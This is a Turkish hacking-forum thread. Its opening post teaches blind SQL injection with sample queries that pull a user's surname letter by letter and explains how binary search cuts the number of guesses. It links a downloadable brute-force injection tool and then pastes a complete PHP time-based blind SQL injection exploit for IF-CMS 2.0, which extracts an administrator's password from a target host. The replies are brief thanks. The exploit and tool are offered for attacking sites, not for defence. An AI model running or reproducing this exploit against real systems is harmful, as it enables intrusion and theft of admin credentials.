İPUCU

Web & Server Güvenliği Doğru web ve veritabanı sunucusu güvenliği sağlanmadan, bilgisayar korsanları hassas verilerinize erişebilir. Web, Sunucu ve veritabanı güvenliğini nasıl sağlayacağınızı buradan öğrenebilirsiniz.

Seçenekler

Adım Adım SQL Injection

10-11-2011 19:40
#1
qRapHiceR - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
11/2011
Mesajlar:
18
Teşekkür (Etti):
0
Teşekkür (Aldı):
4
Konular:
12
Ticaret:
(0) %
Öncelikle cümleten S.A.
Bu makalemde sizlere Blind SQL Injection hakkında bilgi vermeye çalışacağım, gerek alıntılar yaparak gerekse kendi yazılarımla.
Nedir Bu Blind SQL Injection?
SQL Injection için söylenecekler çok fazla olsa da temelde problemin ortaya çıkış nedeni; cümleciğin herhangi bir yerine eklenen kod parçacıklarıyla farkedilir.
Örneğin; “ ` ” gönderip, sonucunun hata dönmesi gibi. Tabi bazen bu hata çıktılarıda işimizi görmeyebilir veya hata dönmeyebilir.
Blind ise hem SQL Injection açığını barındırmasıyla birlikte sonucun her zaman true/false dönmesiyle ilgilenir. Aslında bu açıklığın ciddi bir problem oluşturması temel bir matematik probleminin varlığıyla meydana gelmektedir.
Blind SQL Injection için örnek;

Sorgu1: SELECT Username FROM users WHERE userid=1
Cevap : joylessfunk!

Sorgu2: SELECT Username FROM users WHERE userid=161
Cevap :

Görüldüğü gibi database de userid=1 de bir kullanıcı var, userid=161 de ise kullanıcı yok. Burda yapılan bir tane “true” değeri yakalayabilmek. Sorgu1 ile bu sağlanmış oldu. Bundan sonra yapılması gereken, görülen cevaba bakılarak sorgu üzerinde oynamalar yapmak. Her değişikliğimizde geri dönen cevap, yaptıklarımızla doğru yolda olup olmadığımızı söyleyecektir. Sorgu1`i biraz değiştirecek olursak;

Sorgu1: SELECT Username FROM users WHERE userid=1 AND ASCII(SUBSTRING(Lastname,1,1))=97
Cevap :

Userid=1 için kullanıcının soyisminin ilk harfi “a” mıdır? Görüldüğü gibi bizim daha önce elde ettiğimiz içerik gelmedi. Biz her sorgumuz da bu içeriğin aynısının gelip gelmediğine bakıyoruz (Yukarıda cevabın true/false dönmesi ile farkedilir dediğimiz kısım).

Sorgu1: SELECT Username FROM users WHERE userid=1 AND ASCII(SUBSTRING(Lastname,1,1))=98
Cevap :

Userid=1 için kullanıcının soyisminin ilk harfi “b” midir?

Sorgu1: SELECT Username FROM users WHERE userid=1 AND ASCII(SUBSTRING(Lastname,1,1))=68
Cevap : joylessfunk!

Userid=1 için kullanıcının soyisminin ilk harfi “D” olarak karşımıza çıktı. Çünkü lastname`ni ilk karakterinin ASCII değeri 68. Bu da “D” harfine denk gelmektedir. Bu sorgumuzla birlikte daha önce görmüş olduğumuz içeriği (true) elde ederek farkettik.

Sorgu1: SELECT Username FROM users WHERE userid=1 AND ASCII(SUBSTRING(Lastname,2,1))=69
Cevap :

Userid=1 için kullanıcının soyisminin ikinci harfi “E” midir?

Sorgu1: SELECT Username FROM users WHERE userid=1 AND ASCII(SUBSTRING(Lastname,2,1))=101
Cevap : joylessfunk!

Userid=1 kullanıcısının soyisminin ikinci harfi “e” dir.
Buraya kadar olan kısım Blind SQL Injection açığının temel mantığıdır.
Fakat tablo isimleri, tabloların alan adları, içindeki verileri böyle teker teker deneyerek bulmak nekadar zamanımızı alır? Muhtemelen a-z,A-Z ve 0-9 arasına bir de “?,-,+,* v.s” gibi karakterlerin de varlığını hesaba katarsak. Substring ile elde ettiğimiz tek karakteri deneyerek bulmak, bulanık bir zaman dilime gelecekti ki bu da elle imkansıza yakın. Tabi çok büyük verilerin bu şekilde alınmasından bahsediyoruz.
Şimdi ise bu problemi gerçekten kritik bir problem haline getiren matematiksel alt yapıyı ele alalım.

Algoritma Analizi ve Karmaşıklık

Aslında bir algoritmayı neden analiz etmek isteriz? Performansı ölçmek için, farklı algoritmalarla karşılaştırabilmek için, daha iyisi mümkün mü? Bir algoritmanın özelliklerini analiz ederken de çalışma zamanı ve hafıza da kapladığı alana bakarız. Tabi bu maddeleri çoğaltmak mümkün. Fakat genel kabul bir algoritmanın karmaşıklığı; çalışma hızı ve hafıza da kapladığı alanla belirlenir. Biz şu an “zaman” problemi üzerinde duracağız. Çünkü Blind SQL Injection da gördüğümüz gibi teker teker deneme yoluyla bilgi toplamak gerçekten çok zor. Ancak bu deneme zaman aralığını (deneme sayısını) kısaltırsak bu problemi kullanışlı hale getirebiliriz. Zaman karmaşıklığı Büyük-O notasyonu ile gösterilir.

İkili Arama (Binary Search)

Problem çözümlerinde böl ve yönet prensibine dayanır. Çözüm süresini genelde ½ oranında bölerek zaman aralığını kısaltmayı hedefler. Bu algoritma da dikkat edilmesi gereken bir husus ise elemanların artan veya azalan şekilde sıralı olmasıdır. Arama işlemi ilk bölünmede sonuçlanmıyorsa tekrar alt kümeler de bölünerek arama işlemi devam eder. İkili arama algoritması için zaman karmaşıklığı O(logN)`dir.
Örnek verecek olursak;

olduğunu bildiğimiz bir alan da “2” sayısına ulaşabilmek için 0,1,2,3,4,5,6,7,8,9 u sırayla denesek 3. deneme de bulacaktık. Fakat bu tamamen şansımızla alakalıydı. Eğer aynı durum da “7” için bir arama yapıyor olsaydık bu sefer 8. Deneme de bu sayıyı bulacaktık. Fakat ikili arama lagoritması ile önce 5`den büyük veya küçük olduğuna bakılır. Küçükse soldan, büyükse sağdan devam edilir. Eşit ise durulur.

7 için;

7=5 (false)
7>5 (true)
7=7 (true)

3. denemede eşitliği yakaladık.

ASCII karakterler yardımıyla denemelerimizi yapmıştık. ASCII okunabilir karakterler 36-126 arasındadır.

• f(n) = ?(log n)
• f(126-32) = ?(log (126-32))?
• ~7 karşılaştırmada karakterin doğruluğuna erişilir.

Yani bu aradaki tüm karakterler için en fazla 7 deneme yapmamız yeterlidir. Oysa 126-32=94 defa deneme yapmaktan kurtulmuş oluyoruz. Tabi bu her bir karakter için 94 defa bakılacak anlamına gelmez. Şansınız iyiyse bu sayı daha da küçülebilir. Fakat aynı durum ~7 için de geçerlidir.

Bu sayede bir karakter için harcamamız gereken maksimum deneme 7 olarak belirlemiş olduk. Peki deneme yapacağımız karakter sayısı çok fazla ise? Bu sefer deneme yapılan kümeyi biraz daha azaltabiliriz. Yukarıda örnekler de görüldüğü gibi “E” ve “e” harfleri bir birinden farklı olarak algılanmıştı. Eğer A-Z arasındaki büyük harfleri atar ve kontrol etmek istediğimiz karakteri lowercase`den geçirirsek?

Sorgu1: SELECT Username FROM users WHERE userid=1 AND ASCII(SUBSTRING(Lastname,1,1))=68
Cevap : joylessfunk!

Bu sefer “D” harfi yerine “d” yi kontrol ederek

Sorgu1: SELECT Username FROM users WHERE userid=1 AND ASCII(LOWER(SUBSTRING(Lastname,1,1)))=100
Cevap : joylessfunk!

Aynı sonuca erişebiliriz. Bu sayede deneme yapacağımız kümeyi ~6 indirebiliriz.

Bu sayede en fazla 94 deneme yerine en fazla 6 deneme de istediimiz bilgiye erişme olanağı ortaya çıkmış oldu.

Özetle; binary search algoritmasının varlığı Blind Sql Injection`u daha tehlikeli hala sokuyor. Eğer bu şekilde bir algoritma olmasaydı bu açıklığın kullanılabilir olması pek mümkün olmayacaktı.

Joyless’in Kaleminden:
Arkadaşlar yukarda anlatılan temel mantıkdır.Bende sizlere bu mantığı kavradıktan sonra biraz daha işinizi kolaylaştıracak pratik hale getirecek bir program sunmak istiyorum.
Programı ben kodlamadım sadece editledim, yararlı bir programdır.Brute (Deneme - Yanılma) yöntemiyle DB adlarını alıyor.
İnfermation şeması yüklü programda.
- DB’leri Alma Kodu
- Seçili DB’den Tablo Alma
- Seçili DB’den Colomn Alma
- Data Çekme Sorgusu
- Verilen Kelimeyi Hexleme
Gibi özellikleri vardır.

Program Linki:
http://rapidshare.com/files/332777649/Blind.rar.html
Virüs Total Sonucu:
http://www.virustotal.com/tr/analisi...9e0-1263059273

Kendim içini defalarca kontrol etmeme rağmen, güvenli olduğunu temin etmeme rağmen yine de taratmadan açmayınız.
Kullananlar burada belirtirse sevinirim.

Bir de exploit paylaşayım;

IF-CMS <= 2.0 Blind SQL Injection Exploit

<?php

function query ($username, $char, $pos)
{
//Increase benchmark when exploit prints uncorrect passwords

$query = "x’ OR IF ((ASCII(SUBSTRING((SELECT pass FROM rns_admin WHERE ".
"nick = ’{$username}’),{$pos},1))={$char}), BENCHMARK(100000000,CHAR(0)),0) OR ’1’ = ’2";
$query = str_replace (" ", "%20", $query);
$query = str_replace ("’", "’", $query);
return $query;
}

function exploit ($hostname, $path, $username, $char, $pos)
{
$char = ord ($char);
$fp = fsockopen ($hostname, 80);
$get = "GET {$path}/frame.php?id=". query ($username, $char, $pos) . " HTTP/1.1\\\\\\\\r\\\\\\\\n".
"Host: {$hostname}\\\\\\\\r\\\\\\\\n".
"Connection: Close\\\\\\\\r\\\\\\\\n\\\\\\\\r\\\\\\\\n";
$a = time ();
fputs ($fp, $get);
while (!feof ($fp))
fgets ($fp, 1024);

fclose ($fp);
$a = time () - $a;
if ($a > 4)
return true;
else
return false;

}

function usage ()
{
echo "\\\\\\\\nIF-CMS <= 2.0 Blind SQL Injection Exploit".
"\\\\\\\\n[+] Author : SourceForge".
"\\\\\\\\n[+] Site : http://sourceforge.net".
"\\\\\\\\n[+] Download: http://downloads.sourceforge.net/if-cms/If-CMS-2.07.zip?modtime=1088812800&big_mirror=0".
"\\\\\\\\n[+] Usage : php xpl.php <hostname> <path> <username>".
"\\\\\\\\n[+] Ex. : php xpl.php localhost /IF-CMS root".
"\\\\\\\\n\\\\\\\\n";
exit ();
}

if ($argc != 4)
usage ();
$hostname = $argv [1];
$path = $argv [2];
$user = $argv [3];
//Edit this keylist when returned password is incomplete and add other characters you want
$key = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRS TUVW XYZ0123456789";
$chr = 0;
$pos = 1;
echo "[+] Password: ";
while ($chr < strlen ($key))
{
if (exploit ($hostname, $path, $user, $key [$chr], $pos))
{
echo $key [$chr];
$chr = 0;
$pos++;
}
else
$chr++;
}
echo "\\\\\\\\n\\\\\\\\n";
?>
l InSert l Teşekkür etti.

10-11-2011 21:29
#2
nubar31 - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
11/2011
Mesajlar:
23
Teşekkür (Etti):
4
Teşekkür (Aldı):
2
Konular:
6
Ticaret:
(0) %
emeğine sağlık krdeşim
10-11-2011 21:31
#3
dexmod1 - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
08/2009
Nereden:
yasadıgım her yer
Mesajlar:
1.188
Teşekkür (Etti):
12
Teşekkür (Aldı):
102
Konular:
69
Ticaret:
(0) %
waybe ne guzel hemen cevapları alıyorsunuz
11-11-2011 13:14
#4
PoisonScorpion - ait Kullanıcı Resmi (Avatar)
Forumdan Uzaklaştırıldı
Üyelik tarihi:
10/2011
Nereden:
İstanbul
Mesajlar:
1.389
Teşekkür (Etti):
13
Teşekkür (Aldı):
1075
Konular:
431
Ticaret:
(0) %
Bu anlatımlar defalarca paylaşıldı ancak , emeğine sağlık..

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler

Yetkileriniz
Sizin Yeni Konu Acma Yetkiniz var yok
You may not post replies
Sizin eklenti yükleme yetkiniz yok
You may not edit your posts

BB code is Açık
Smileler Açık
[IMG] Kodları Açık
HTML-Kodları Kapalı
Trackbacks are Kapalı
Pingbacks are Kapalı
Refbacks are Kapalı